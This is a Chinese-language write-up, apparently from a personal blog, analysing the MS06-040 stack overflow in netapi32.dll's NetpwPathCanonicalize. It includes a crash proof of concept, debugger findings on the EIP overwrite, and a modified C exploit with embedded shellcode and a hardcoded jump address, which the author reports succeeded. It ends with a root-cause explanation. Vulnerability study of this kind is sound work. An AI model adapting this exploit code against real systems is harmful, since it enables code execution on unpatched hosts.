ms06-040分析
发表于更新于
字数总计:711阅读时长:3分钟 中国
简要分析
漏洞点存在为netapi32.dll中的NetpwPathCanonicalize()导出函数,NetpwPathCanonicalize()是netapi32.dll的一个导出函数,用于格式化网络路径字符串,它的原型如下:
1 2 3 4 5 6 7 8
| int NetpwPathCanonicalize ( uint16 path[ ], // [in] path name uint8 can_path[ ], // [out] canonicalized path uint32 maxbuf, // [in] max size of can_path uint16 prefix[ ], // [in] path prefix uint32* pathtype, // [in out] path type uint32 pathflags // [in] path flags, 0 or 1 );
|
这是一个Unicode字符串处理函数,大体功能是:如果prefix串非空,将prefix串与path串用‘\’相连,并复制到输出串can_path中,输出串的容量为maxbuf字节大小:
1
| can_path=prefix+"\"+path
|
触发漏洞的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include<windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
int main() { char path[0x320]; char can_path[0x440]; int maxbuf=0x440; char prefix[0x100]; long pathtype=44;
HINSTANCE LibHandle; MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path)); memset(path,'a',sizeof(path)-2); memset(prefix,0,sizeof(prefix)); memset(prefix,'b',sizeof(prefix)-2); (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0); FreeLibrary(LibHandle);
return 0; }
|
POC说明:导入存在漏洞的netapi32.dll中的NetpwPathCanonicalize函数,将path和prefix设置的很长以触发漏洞。
运行后报错,使用OD attach:
EIP被覆盖为”aaaa”的ascii:0x61616161,可见传入的参数溢出,覆盖了EIP。
算出VA:0x75107B13
在这里程序再一次crash:
在这个wscat的拼接函数完成后存储返回地址的地方(0x12F6A8)被覆盖:
根据ECX总是指向栈开始的buff可以构造如下shellcode:
shellcode+patch+(jmp ecx)
call ecx:0x796DB16C
修改后POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #include<windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main() { char path[0x320]; char can_path[0x440]; int maxbuf=0x440; char prefix[0x100]; long pathtype=44;
HINSTANCE LibHandle; MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path)); memset(path,'a',sizeof(path)-2); memset(prefix,0,sizeof(prefix)); memset(prefix,'b',sizeof(prefix)-2); memcpy(prefix,shellcode,168);
path[0x318]=0x6C; path[0x319]=0xB1; path[0x31A]=0x6D; path[0x31B]=0x79;
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0); FreeLibrary(LibHandle);
return 0; }
|
攻击成功:
静态分析结果:
按照ASCII字符开辟空间,按照Unicode字符来检查边界是漏洞的根本原因。